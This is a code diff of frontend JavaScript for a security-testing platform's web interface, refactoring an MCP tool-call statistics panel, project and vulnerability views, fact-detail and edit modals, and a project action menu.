const maxCalls = Math.max(1, ...topTools.map((t) => t.totalCalls || 0));
|
const maxCalls = Math.max(1, ...topTools.map((t) => t.totalCalls || 0));
|
||||||
const listHtml = topTools.map((tool, index) => {
|
const listHtml = topTools.map((tool, index) => {
|
||||||
const name = tool.toolName || unknownToolLabel;
|
const rawName = tool.toolName || unknownToolLabel;
|
||||||
|
const name = formatMonitorToolName(rawName);
|
||||||
const total = tool.totalCalls || 0;
|
const total = tool.totalCalls || 0;
|
||||||
const success = tool.successCalls || 0;
|
const success = tool.successCalls || 0;
|
||||||
const failed = tool.failedCalls || 0;
|
const failed = tool.failedCalls || 0;
|
||||||
@@ -4593,7 +4766,7 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
|||||||
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
const sharePct = totals.total > 0 ? ((total / totals.total) * 100).toFixed(1) : '0.0';
|
||||||
const color = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
const color = MCP_STATS_DIST_COLORS[index % MCP_STATS_DIST_COLORS.length];
|
||||||
const barPct = maxCalls > 0 ? ((total / maxCalls) * 100).toFixed(1) : '0';
|
const barPct = maxCalls > 0 ? ((total / maxCalls) * 100).toFixed(1) : '0';
|
||||||
const isActive = activeToolFilter && activeToolFilter === name;
|
const isActive = activeToolFilter && monitorToolNamesEqual(activeToolFilter, rawName);
|
||||||
const rateClass = getMcpToolRateClass(toolRateNum);
|
const rateClass = getMcpToolRateClass(toolRateNum);
|
||||||
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
const rankClass = index === 0 ? ' rank-1' : index === 1 ? ' rank-2' : index === 2 ? ' rank-3' : '';
|
||||||
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
const rowAria = mcpMonitorT('toolRowAriaLabel', { name, total, rate: toolRate })
|
||||||
@@ -4602,7 +4775,7 @@ function renderMcpStatsToolsPanel(topTools, totals, activeToolFilter = '') {
|
|||||||
? `<span class="mcp-stats-tool-item__fail">${escapeHtml(mcpMonitorT('failedCount', { n: failed }) || `失败 ${failed}`)}</span>`
|
? `<span class="mcp-stats-tool-item__fail">${escapeHtml(mcpMonitorT('failedCount', { n: failed }) || `失败 ${failed}`)}</span>`
|
||||||
: '';
|
: '';
|
||||||
return `<li class="mcp-stats-tool-item${isActive ? ' is-active' : ''}"
|
return `<li class="mcp-stats-tool-item${isActive ? ' is-active' : ''}"
|
||||||
data-tool-name="${escapeHtml(name)}" tabindex="0" role="button"
|
data-tool-name="${escapeHtml(rawName)}" tabindex="0" role="button"
|
||||||
aria-label="${escapeHtml(rowAria)}" aria-pressed="${isActive ? 'true' : 'false'}">
|
aria-label="${escapeHtml(rowAria)}" aria-pressed="${isActive ? 'true' : 'false'}">
|
||||||
<span class="mcp-stats-tool-item__rank mcp-stats-rank${rankClass}">${index + 1}</span>
|
<span class="mcp-stats-tool-item__rank mcp-stats-rank${rankClass}">${index + 1}</span>
|
||||||
<span class="mcp-stats-tool-item__dot" style="background:${color}" aria-hidden="true"></span>
|
<span class="mcp-stats-tool-item__dot" style="background:${color}" aria-hidden="true"></span>
|
||||||
@@ -4762,7 +4935,8 @@ function renderMonitorStats(statsMap = {}, lastFetchedAt = null) {
|
|||||||
.sort((a, b) => (b.totalCalls || 0) - (a.totalCalls || 0))
|
.sort((a, b) => (b.totalCalls || 0) - (a.totalCalls || 0))
|
||||||
.slice(0, MCP_STATS_TOP_N);
|
.slice(0, MCP_STATS_TOP_N);
|
||||||
|
|
||||||
const showCombined = showTimeline || topTools.length > 0;
|
const hasAnyCalls = totals.total > 0;
|
||||||
|
const showCombined = hasAnyCalls && (topTools.length > 0 || showTimeline);
|
||||||
const html = `
|
const html = `
|
||||||
<div class="mcp-exec-stats">
|
<div class="mcp-exec-stats">
|
||||||
${renderMcpStatsMetricsBar(totals, successRate, rateTone, rateSubText, lastCallText, hasCalls)}
|
${renderMcpStatsMetricsBar(totals, successRate, rateTone, rateSubText, lastCallText, hasCalls)}
|
||||||
@@ -4836,7 +5010,7 @@ function renderMonitorExecutions(executions = [], statusFilter = 'all') {
|
|||||||
const statusLabel = (typeof window.t === 'function' && statusKey) ? window.t('mcpMonitor.' + statusKey) : getStatusText(status);
|
const statusLabel = (typeof window.t === 'function' && statusKey) ? window.t('mcpMonitor.' + statusKey) : getStatusText(status);
|
||||||
const startTime = exec.startTime ? (new Date(exec.startTime).toLocaleString ? new Date(exec.startTime).toLocaleString(locale || 'en-US') : String(exec.startTime)) : unknownLabel;
|
const startTime = exec.startTime ? (new Date(exec.startTime).toLocaleString ? new Date(exec.startTime).toLocaleString(locale || 'en-US') : String(exec.startTime)) : unknownLabel;
|
||||||
const duration = formatExecutionDuration(exec.startTime, exec.endTime);
|
const duration = formatExecutionDuration(exec.startTime, exec.endTime);
|
||||||
const toolName = escapeHtml(exec.toolName || unknownToolLabel);
|
const toolName = escapeHtml(formatMonitorToolName(exec.toolName) || unknownToolLabel);
|
||||||
const rawExecId = exec.id || '';
|
const rawExecId = exec.id || '';
|
||||||
const executionId = escapeHtml(rawExecId);
|
const executionId = escapeHtml(rawExecId);
|
||||||
const terminateBtn = status === 'running'
|
const terminateBtn = status === 'running'
|
||||||
|
|||||||
+304
-111
@@ -5,12 +5,15 @@ let projectsCache = [];
|
|||||||
let projectsCacheAll = [];
|
let projectsCacheAll = [];
|
||||||
const PROJECTS_LIST_PAGE_SIZE_KEY = 'cyberstrike.projects_list_page_size';
|
const PROJECTS_LIST_PAGE_SIZE_KEY = 'cyberstrike.projects_list_page_size';
|
||||||
let currentProjectId = null;
|
let currentProjectId = null;
|
||||||
|
let currentProjectUpdatedAt = null;
|
||||||
let currentProjectTab = 'facts';
|
let currentProjectTab = 'facts';
|
||||||
const projectNameById = {};
|
const projectNameById = {};
|
||||||
let _projectsListReady = false;
|
let _projectsListReady = false;
|
||||||
let _projectsFetchPromise = null;
|
let _projectsFetchPromise = null;
|
||||||
|
|
||||||
const PROJECT_ACTIVE_KEY = 'cyberstrike.activeProjectId';
|
const PROJECT_ACTIVE_KEY = 'cyberstrike.activeProjectId';
|
||||||
|
const PROJECT_DESCRIPTION_MAX_LENGTH = 4000;
|
||||||
|
const PROJECT_NAME_MAX_LENGTH = 200;
|
||||||
|
|
||||||
function tp(key, opts) {
|
function tp(key, opts) {
|
||||||
if (typeof window.t === 'function') return window.t(key, opts);
|
if (typeof window.t === 'function') return window.t(key, opts);
|
||||||
@@ -304,23 +307,9 @@ function prefetchProjectsForChat() {
|
|||||||
ensureProjectsLoaded().catch(() => {});
|
ensureProjectsLoaded().catch(() => {});
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 新对话时:保留有效 activeProjectId,否则默认选中第一个进行中的项目 */
|
/** 新对话时默认不绑定项目;用户需主动选择后才写入共享黑板 */
|
||||||
async function ensureDefaultActiveProjectForNewChat() {
|
async function ensureDefaultActiveProjectForNewChat() {
|
||||||
try {
|
setActiveProjectId('');
|
||||||
await ensureProjectsLoaded();
|
|
||||||
const cur = getActiveProjectId();
|
|
||||||
if (cur && isActiveChatProjectId(cur)) return cur;
|
|
||||||
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
|
|
||||||
const first =
|
|
||||||
source.find((p) => p.pinned && p.status !== 'archived') ||
|
|
||||||
source.find((p) => p.status !== 'archived');
|
|
||||||
if (first) {
|
|
||||||
setActiveProjectId(first.id);
|
|
||||||
return first.id;
|
|
||||||
}
|
|
||||||
} catch (e) {
|
|
||||||
console.warn(e);
|
|
||||||
}
|
|
||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -343,7 +332,9 @@ async function initProjectsPage() {
|
|||||||
const page = document.getElementById('page-projects');
|
const page = document.getElementById('page-projects');
|
||||||
if (!page || page.style.display === 'none') return;
|
if (!page || page.style.display === 'none') return;
|
||||||
initProjectsModalEscape();
|
initProjectsModalEscape();
|
||||||
syncProjectsModalBodyLock();
|
if (typeof syncAppModalBodyLock === 'function') {
|
||||||
|
syncAppModalBodyLock();
|
||||||
|
}
|
||||||
updateProjectsDetailVisibility();
|
updateProjectsDetailVisibility();
|
||||||
projectsListPagination.pageSize = getProjectsListPageSize();
|
projectsListPagination.pageSize = getProjectsListPageSize();
|
||||||
renderProjectsPagination();
|
renderProjectsPagination();
|
||||||
@@ -463,9 +454,10 @@ function formatVulnStatusBadge(status) {
|
|||||||
confirmed: 'vulnerabilityPage.statusConfirmed',
|
confirmed: 'vulnerabilityPage.statusConfirmed',
|
||||||
fixed: 'vulnerabilityPage.statusFixed',
|
fixed: 'vulnerabilityPage.statusFixed',
|
||||||
false_positive: 'vulnerabilityPage.statusFalsePositive',
|
false_positive: 'vulnerabilityPage.statusFalsePositive',
|
||||||
|
ignored: 'vulnerabilityPage.statusIgnored',
|
||||||
};
|
};
|
||||||
const label = labelMap[s] ? tp(labelMap[s]) : status || '—';
|
const label = labelMap[s] ? tp(labelMap[s]) : status || '—';
|
||||||
const cls = ['open', 'confirmed', 'fixed', 'false_positive'].includes(s) ? s : 'open';
|
const cls = ['open', 'confirmed', 'fixed', 'false_positive', 'ignored'].includes(s) ? s : 'open';
|
||||||
return `<span class="status-badge status-${escapeHtml(cls)}">${escapeHtml(label)}</span>`;
|
return `<span class="status-badge status-${escapeHtml(cls)}">${escapeHtml(label)}</span>`;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -610,11 +602,41 @@ function renderProjectsSidebar() {
|
|||||||
<div class="projects-list-item-name">${escapeHtml(p.name)}${badges}</div>
|
<div class="projects-list-item-name">${escapeHtml(p.name)}${badges}</div>
|
||||||
<div class="projects-list-item-meta">${formatProjectTime(p.updated_at)}</div>
|
<div class="projects-list-item-meta">${formatProjectTime(p.updated_at)}</div>
|
||||||
</div>
|
</div>
|
||||||
|
<button type="button" class="projects-list-item-menu" title="${escapeHtml(tp('projects.projectActions'))}" aria-label="${escapeHtml(tp('projects.projectActions'))}" onclick="showProjectListActionMenu(event, '${escapeHtml(p.id)}')">⋯</button>
|
||||||
</div>`;
|
</div>`;
|
||||||
}).join('');
|
}).join('');
|
||||||
updateProjectsDetailVisibility();
|
updateProjectsDetailVisibility();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function clampProjectDescription(text) {
|
||||||
|
const s = (text || '').trim();
|
||||||
|
if (s.length <= PROJECT_DESCRIPTION_MAX_LENGTH) return s;
|
||||||
|
return s.slice(0, PROJECT_DESCRIPTION_MAX_LENGTH);
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderProjectDetailTitle(name) {
|
||||||
|
const titleEl = document.getElementById('projects-detail-title');
|
||||||
|
if (!titleEl) return;
|
||||||
|
const text = (name || '').trim() || tp('projects.defaultProjectName');
|
||||||
|
titleEl.textContent = text;
|
||||||
|
titleEl.title = text;
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderProjectDetailDesc(desc) {
|
||||||
|
const descEl = document.getElementById('projects-detail-desc');
|
||||||
|
if (!descEl) return;
|
||||||
|
const text = (desc || '').trim();
|
||||||
|
if (!text) {
|
||||||
|
descEl.hidden = true;
|
||||||
|
descEl.textContent = '';
|
||||||
|
descEl.removeAttribute('title');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
descEl.textContent = text;
|
||||||
|
descEl.title = text;
|
||||||
|
descEl.hidden = false;
|
||||||
|
}
|
||||||
|
|
||||||
function updateProjectStatusPill(status) {
|
function updateProjectStatusPill(status) {
|
||||||
const el = document.getElementById('projects-detail-status');
|
const el = document.getElementById('projects-detail-status');
|
||||||
if (!el) return;
|
if (!el) return;
|
||||||
@@ -623,6 +645,24 @@ function updateProjectStatusPill(status) {
|
|||||||
el.className = 'projects-status-pill ' + (archived ? 'projects-status-pill--archived' : 'projects-status-pill--active');
|
el.className = 'projects-status-pill ' + (archived ? 'projects-status-pill--archived' : 'projects-status-pill--active');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function renderProjectDetailMeta(updatedAt) {
|
||||||
|
const metaEl = document.getElementById('projects-detail-meta');
|
||||||
|
if (!metaEl) return;
|
||||||
|
const time = formatProjectTime(updatedAt);
|
||||||
|
metaEl.textContent = tpFmt('projects.updatedPrefix', `Updated ${time}`, { time });
|
||||||
|
}
|
||||||
|
|
||||||
|
function refreshProjectDetailMetaI18n() {
|
||||||
|
if (!currentProjectId) return;
|
||||||
|
let updatedAt = currentProjectUpdatedAt;
|
||||||
|
if (updatedAt == null) {
|
||||||
|
const source = projectsCacheAll.length ? projectsCacheAll : projectsCache;
|
||||||
|
const p = source.find((x) => x.id === currentProjectId);
|
||||||
|
updatedAt = p?.updated_at;
|
||||||
|
}
|
||||||
|
renderProjectDetailMeta(updatedAt);
|
||||||
|
}
|
||||||
|
|
||||||
function updateProjectStats(stats) {
|
function updateProjectStats(stats) {
|
||||||
const s = stats || {};
|
const s = stats || {};
|
||||||
const f = document.getElementById('project-stat-facts');
|
const f = document.getElementById('project-stat-facts');
|
||||||
@@ -668,8 +708,7 @@ async function selectProject(id) {
|
|||||||
const res = await apiFetch(`/api/projects/${id}`);
|
const res = await apiFetch(`/api/projects/${id}`);
|
||||||
if (!res.ok) throw new Error(tp('projects.projectNotFound'));
|
if (!res.ok) throw new Error(tp('projects.projectNotFound'));
|
||||||
const p = await res.json();
|
const p = await res.json();
|
||||||
const titleEl = document.getElementById('projects-detail-title');
|
renderProjectDetailTitle(p.name);
|
||||||
if (titleEl) titleEl.textContent = p.name || tp('projects.defaultProjectName');
|
|
||||||
document.getElementById('project-edit-name').value = p.name || '';
|
document.getElementById('project-edit-name').value = p.name || '';
|
||||||
document.getElementById('project-edit-description').value = p.description || '';
|
document.getElementById('project-edit-description').value = p.description || '';
|
||||||
document.getElementById('project-edit-scope').value = p.scope_json || '';
|
document.getElementById('project-edit-scope').value = p.scope_json || '';
|
||||||
@@ -678,19 +717,9 @@ async function selectProject(id) {
|
|||||||
const pinEl = document.getElementById('project-edit-pinned');
|
const pinEl = document.getElementById('project-edit-pinned');
|
||||||
if (pinEl) pinEl.checked = !!p.pinned;
|
if (pinEl) pinEl.checked = !!p.pinned;
|
||||||
updateProjectStatusPill(p.status || 'active');
|
updateProjectStatusPill(p.status || 'active');
|
||||||
const metaEl = document.getElementById('projects-detail-meta');
|
currentProjectUpdatedAt = p.updated_at;
|
||||||
if (metaEl) metaEl.textContent = tpFmt('projects.updatedPrefix', `Updated ${formatProjectTime(p.updated_at)}`, { time: formatProjectTime(p.updated_at) });
|
renderProjectDetailMeta(currentProjectUpdatedAt);
|
||||||
const descEl = document.getElementById('projects-detail-desc');
|
renderProjectDetailDesc(p.description);
|
||||||
if (descEl) {
|
|
||||||
const desc = (p.description || '').trim();
|
|
||||||
if (desc) {
|
|
||||||
descEl.textContent = desc;
|
|
||||||
descEl.hidden = false;
|
|
||||||
} else {
|
|
||||||
descEl.textContent = '';
|
|
||||||
descEl.hidden = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
projectNameById[p.id] = p.name || p.id;
|
projectNameById[p.id] = p.name || p.id;
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
console.warn(e);
|
console.warn(e);
|
||||||
@@ -857,38 +886,52 @@ let _factDetailFact = null;
|
|||||||
let _projectFactsFilterDebounce = null;
|
let _projectFactsFilterDebounce = null;
|
||||||
|
|
||||||
async function viewProjectFactBody(factKey) {
|
async function viewProjectFactBody(factKey) {
|
||||||
const res = await apiFetch(`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`);
|
document.getElementById('fact-detail-title').textContent = factKey;
|
||||||
if (!res.ok) return alert(tp('common.loadFailed'));
|
document.getElementById('fact-detail-meta').textContent = '…';
|
||||||
const f = await res.json();
|
document.getElementById('fact-detail-body').textContent = '';
|
||||||
_factDetailKey = f.fact_key;
|
|
||||||
_factDetailFact = f;
|
|
||||||
document.getElementById('fact-detail-title').textContent = `[${f.fact_key}]`;
|
|
||||||
const metaParts = [
|
|
||||||
tpFmt('projects.factMetaCategory', `Category: ${f.category}`, { value: f.category }),
|
|
||||||
tpFmt('projects.factMetaConfidence', `Confidence: ${f.confidence}`, { value: f.confidence }),
|
|
||||||
tpFmt('projects.factMetaUpdated', `Updated: ${formatProjectTime(f.updated_at, f.created_at)}`, {
|
|
||||||
time: formatProjectTime(f.updated_at, f.created_at),
|
|
||||||
}),
|
|
||||||
];
|
|
||||||
if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id }));
|
|
||||||
if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id }));
|
|
||||||
document.getElementById('fact-detail-meta').textContent = metaParts.join(' · ');
|
|
||||||
document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody');
|
|
||||||
const warnEl = document.getElementById('fact-detail-sparse-warn');
|
const warnEl = document.getElementById('fact-detail-sparse-warn');
|
||||||
if (warnEl) {
|
if (warnEl) {
|
||||||
if (isSparseFactBody(f.category, f.fact_key, f.body)) {
|
warnEl.hidden = true;
|
||||||
warnEl.hidden = false;
|
warnEl.textContent = '';
|
||||||
warnEl.textContent = tp('projects.factSparseWarn');
|
|
||||||
} else {
|
|
||||||
warnEl.hidden = true;
|
|
||||||
warnEl.textContent = '';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
const linkBtn = document.getElementById('fact-detail-link-vuln-btn');
|
const linkBtn = document.getElementById('fact-detail-link-vuln-btn');
|
||||||
const createBtn = document.getElementById('fact-detail-create-vuln-btn');
|
const createBtn = document.getElementById('fact-detail-create-vuln-btn');
|
||||||
if (linkBtn) linkBtn.hidden = false;
|
if (linkBtn) linkBtn.hidden = true;
|
||||||
if (createBtn) createBtn.hidden = false;
|
if (createBtn) createBtn.hidden = true;
|
||||||
openProjectsOverlay('fact-detail-modal');
|
openProjectsOverlay('fact-detail-modal', { focus: false });
|
||||||
|
const res = await apiFetch(`/api/projects/${currentProjectId}/facts?fact_key=${encodeURIComponent(factKey)}`);
|
||||||
|
if (!res.ok) {
|
||||||
|
closeFactDetailModal();
|
||||||
|
return alert(tp('common.loadFailed'));
|
||||||
|
}
|
||||||
|
const f = await res.json();
|
||||||
|
_factDetailKey = f.fact_key;
|
||||||
|
_factDetailFact = f;
|
||||||
|
deferModalContent(() => {
|
||||||
|
document.getElementById('fact-detail-title').textContent = `[${f.fact_key}]`;
|
||||||
|
const metaParts = [
|
||||||
|
tpFmt('projects.factMetaCategory', `Category: ${f.category}`, { value: f.category }),
|
||||||
|
tpFmt('projects.factMetaConfidence', `Confidence: ${f.confidence}`, { value: f.confidence }),
|
||||||
|
tpFmt('projects.factMetaUpdated', `Updated: ${formatProjectTime(f.updated_at, f.created_at)}`, {
|
||||||
|
time: formatProjectTime(f.updated_at, f.created_at),
|
||||||
|
}),
|
||||||
|
];
|
||||||
|
if (f.related_vulnerability_id) metaParts.push(tpFmt('projects.factMetaRelatedVuln', `Related vulnerability: ${f.related_vulnerability_id}`, { value: f.related_vulnerability_id }));
|
||||||
|
if (f.source_conversation_id) metaParts.push(tpFmt('projects.factMetaSourceConversation', `Source conversation: ${f.source_conversation_id}`, { value: f.source_conversation_id }));
|
||||||
|
document.getElementById('fact-detail-meta').textContent = metaParts.join(' · ');
|
||||||
|
document.getElementById('fact-detail-body').textContent = f.body || tp('projects.emptyBody');
|
||||||
|
if (warnEl) {
|
||||||
|
if (isSparseFactBody(f.category, f.fact_key, f.body)) {
|
||||||
|
warnEl.hidden = false;
|
||||||
|
warnEl.textContent = tp('projects.factSparseWarn');
|
||||||
|
} else {
|
||||||
|
warnEl.hidden = true;
|
||||||
|
warnEl.textContent = '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (linkBtn) linkBtn.hidden = false;
|
||||||
|
if (createBtn) createBtn.hidden = false;
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function editFactFromDetail() {
|
function editFactFromDetail() {
|
||||||
@@ -1143,41 +1186,16 @@ async function viewFactsForVulnerability(vulnId) {
|
|||||||
else loadProjectFacts();
|
else loadProjectFacts();
|
||||||
}
|
}
|
||||||
|
|
||||||
function openProjectsOverlay(id) {
|
function openProjectsOverlay(id, opts) {
|
||||||
const el = document.getElementById(id);
|
openAppModal(id, opts);
|
||||||
if (!el) return;
|
|
||||||
el.style.display = 'flex';
|
|
||||||
syncProjectsModalBodyLock();
|
|
||||||
const focusTarget = el.querySelector('input.form-input, textarea.form-input, select.form-input');
|
|
||||||
if (focusTarget) {
|
|
||||||
setTimeout(() => focusTarget.focus(), 80);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function isProjectsOverlayVisible(id) {
|
function isProjectsOverlayVisible(id) {
|
||||||
const el = document.getElementById(id);
|
return isAppModalOpen(id);
|
||||||
if (!el) return false;
|
|
||||||
const style = window.getComputedStyle(el);
|
|
||||||
return style.display !== 'none' && style.visibility !== 'hidden';
|
|
||||||
}
|
|
||||||
|
|
||||||
function hasVisibleProjectsOverlay() {
|
|
||||||
const overlays = document.querySelectorAll('.projects-modal-overlay');
|
|
||||||
return Array.from(overlays).some((el) => {
|
|
||||||
const style = window.getComputedStyle(el);
|
|
||||||
return style.display !== 'none' && style.visibility !== 'hidden';
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function syncProjectsModalBodyLock() {
|
|
||||||
if (hasVisibleProjectsOverlay()) document.body.classList.add('projects-modal-open');
|
|
||||||
else document.body.classList.remove('projects-modal-open');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeProjectsOverlay(id) {
|
function closeProjectsOverlay(id) {
|
||||||
const el = document.getElementById(id);
|
closeAppModal(id);
|
||||||
if (el) el.style.display = 'none';
|
|
||||||
syncProjectsModalBodyLock();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function showNewProjectModal() {
|
function showNewProjectModal() {
|
||||||
@@ -1192,6 +1210,42 @@ function showNewProjectModal() {
|
|||||||
openProjectsOverlay('project-modal');
|
openProjectsOverlay('project-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function showEditProjectModal(projectId) {
|
||||||
|
if (!projectId) return;
|
||||||
|
window._projectModalFromChat = false;
|
||||||
|
window._projectModalEditId = projectId;
|
||||||
|
document.getElementById('project-modal-title').textContent = tp('projects.modalEditTitle');
|
||||||
|
const sub = document.getElementById('project-modal-subtitle');
|
||||||
|
if (sub) sub.textContent = tp('projects.modalEditSubtitle');
|
||||||
|
const submitBtn = document.getElementById('project-modal-submit-btn');
|
||||||
|
if (submitBtn) submitBtn.textContent = tp('projects.saveChanges');
|
||||||
|
const nameEl = document.getElementById('project-modal-name');
|
||||||
|
const descEl = document.getElementById('project-modal-description');
|
||||||
|
if (nameEl) nameEl.value = '';
|
||||||
|
if (descEl) descEl.value = '';
|
||||||
|
openProjectsOverlay('project-modal', { focus: false });
|
||||||
|
let p = findProjectById(projectId);
|
||||||
|
if (!p) {
|
||||||
|
try {
|
||||||
|
const res = await apiFetch(`/api/projects/${encodeURIComponent(projectId)}`);
|
||||||
|
if (!res.ok) throw new Error(tp('projects.projectNotFound'));
|
||||||
|
p = await res.json();
|
||||||
|
} catch (e) {
|
||||||
|
closeProjectModal();
|
||||||
|
alert(e.message || tp('projects.projectNotFound'));
|
||||||
|
window._projectModalEditId = null;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const name = (p.name || '').slice(0, PROJECT_NAME_MAX_LENGTH);
|
||||||
|
const description = clampProjectDescription(p.description || '');
|
||||||
|
deferModalContent(() => {
|
||||||
|
if (nameEl) nameEl.value = name;
|
||||||
|
if (descEl) descEl.value = description;
|
||||||
|
nameEl?.focus();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
/** 从对话区「选择项目」面板打开新建项目,创建成功后自动绑定当前对话 */
|
/** 从对话区「选择项目」面板打开新建项目,创建成功后自动绑定当前对话 */
|
||||||
function showNewProjectModalFromChat() {
|
function showNewProjectModalFromChat() {
|
||||||
closeChatProjectPanel();
|
closeChatProjectPanel();
|
||||||
@@ -1200,11 +1254,11 @@ function showNewProjectModalFromChat() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
async function saveProjectModal() {
|
async function saveProjectModal() {
|
||||||
const name = document.getElementById('project-modal-name').value.trim();
|
const name = document.getElementById('project-modal-name').value.trim().slice(0, PROJECT_NAME_MAX_LENGTH);
|
||||||
if (!name) return alert(tp('projects.enterProjectName'));
|
if (!name) return alert(tp('projects.enterProjectName'));
|
||||||
const body = {
|
const body = {
|
||||||
name,
|
name,
|
||||||
description: document.getElementById('project-modal-description').value.trim(),
|
description: clampProjectDescription(document.getElementById('project-modal-description').value),
|
||||||
};
|
};
|
||||||
const editId = window._projectModalEditId;
|
const editId = window._projectModalEditId;
|
||||||
const res = editId
|
const res = editId
|
||||||
@@ -1216,12 +1270,18 @@ async function saveProjectModal() {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
const fromChat = !!window._projectModalFromChat;
|
const fromChat = !!window._projectModalFromChat;
|
||||||
|
const fromWebshellConnId = window._projectModalFromWebshellConnId || '';
|
||||||
window._projectModalFromChat = false;
|
window._projectModalFromChat = false;
|
||||||
|
window._projectModalFromWebshellConnId = '';
|
||||||
closeProjectModal();
|
closeProjectModal();
|
||||||
const saved = await res.json();
|
const saved = await res.json();
|
||||||
await loadProjectsList();
|
await loadProjectsList();
|
||||||
if (saved.id) {
|
if (saved.id) {
|
||||||
if (fromChat && !editId) {
|
if (fromWebshellConnId && !editId) {
|
||||||
|
if (typeof applyWebshellAiProjectSelection === 'function') {
|
||||||
|
await applyWebshellAiProjectSelection(saved.id);
|
||||||
|
}
|
||||||
|
} else if (fromChat && !editId) {
|
||||||
await applyChatProjectSelection(saved.id);
|
await applyChatProjectSelection(saved.id);
|
||||||
} else {
|
} else {
|
||||||
await selectProject(saved.id);
|
await selectProject(saved.id);
|
||||||
@@ -1231,6 +1291,7 @@ async function saveProjectModal() {
|
|||||||
|
|
||||||
function closeProjectModal() {
|
function closeProjectModal() {
|
||||||
window._projectModalFromChat = false;
|
window._projectModalFromChat = false;
|
||||||
|
window._projectModalEditId = null;
|
||||||
closeProjectsOverlay('project-modal');
|
closeProjectsOverlay('project-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1271,7 +1332,7 @@ async function saveProjectSettings() {
|
|||||||
}
|
}
|
||||||
const body = {
|
const body = {
|
||||||
name: document.getElementById('project-edit-name').value.trim(),
|
name: document.getElementById('project-edit-name').value.trim(),
|
||||||
description: document.getElementById('project-edit-description').value.trim(),
|
description: clampProjectDescription(document.getElementById('project-edit-description').value),
|
||||||
scope_json: scopeRaw,
|
scope_json: scopeRaw,
|
||||||
status: document.getElementById('project-edit-status')?.value || 'active',
|
status: document.getElementById('project-edit-status')?.value || 'active',
|
||||||
pinned: !!document.getElementById('project-edit-pinned')?.checked,
|
pinned: !!document.getElementById('project-edit-pinned')?.checked,
|
||||||
@@ -1287,30 +1348,112 @@ async function saveProjectSettings() {
|
|||||||
alert(tp('projects.saved'));
|
alert(tp('projects.saved'));
|
||||||
}
|
}
|
||||||
|
|
||||||
async function archiveCurrentProject() {
|
function findProjectById(projectId) {
|
||||||
if (!currentProjectId) return;
|
return projectsCache.find((p) => p.id === projectId) || projectsCacheAll.find((p) => p.id === projectId);
|
||||||
const statusEl = document.getElementById('project-edit-status');
|
}
|
||||||
const cur = statusEl?.value || 'active';
|
|
||||||
|
let _projectListMenuTargetId = null;
|
||||||
|
let _projectListMenuDocClickBound = false;
|
||||||
|
|
||||||
|
function closeProjectListActionMenu() {
|
||||||
|
const menu = document.getElementById('projects-list-action-menu');
|
||||||
|
if (!menu) return;
|
||||||
|
menu.style.display = 'none';
|
||||||
|
_projectListMenuTargetId = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function positionProjectListActionMenu(event) {
|
||||||
|
const menu = document.getElementById('projects-list-action-menu');
|
||||||
|
if (!menu) return;
|
||||||
|
menu.style.display = 'block';
|
||||||
|
menu.style.visibility = 'visible';
|
||||||
|
menu.style.opacity = '1';
|
||||||
|
void menu.offsetHeight;
|
||||||
|
const menuRect = menu.getBoundingClientRect();
|
||||||
|
const viewportWidth = window.innerWidth;
|
||||||
|
const viewportHeight = window.innerHeight;
|
||||||
|
let left = event.clientX;
|
||||||
|
let top = event.clientY;
|
||||||
|
if (left + menuRect.width > viewportWidth) {
|
||||||
|
left = Math.max(8, event.clientX - menuRect.width);
|
||||||
|
}
|
||||||
|
if (top + menuRect.height > viewportHeight) {
|
||||||
|
top = Math.max(8, event.clientY - menuRect.height);
|
||||||
|
}
|
||||||
|
menu.style.left = `${left}px`;
|
||||||
|
menu.style.top = `${top}px`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function showProjectListActionMenu(event, projectId) {
|
||||||
|
event.stopPropagation();
|
||||||
|
event.preventDefault();
|
||||||
|
const menu = document.getElementById('projects-list-action-menu');
|
||||||
|
if (!menu) return;
|
||||||
|
if (_projectListMenuTargetId === projectId && menu.style.display === 'block') {
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
closeProjectListActionMenu();
|
||||||
|
const p = findProjectById(projectId);
|
||||||
|
if (!p) return;
|
||||||
|
_projectListMenuTargetId = projectId;
|
||||||
|
const editText = document.getElementById('projects-list-menu-edit-text');
|
||||||
|
const archiveText = document.getElementById('projects-list-menu-archive-text');
|
||||||
|
const deleteText = document.getElementById('projects-list-menu-delete-text');
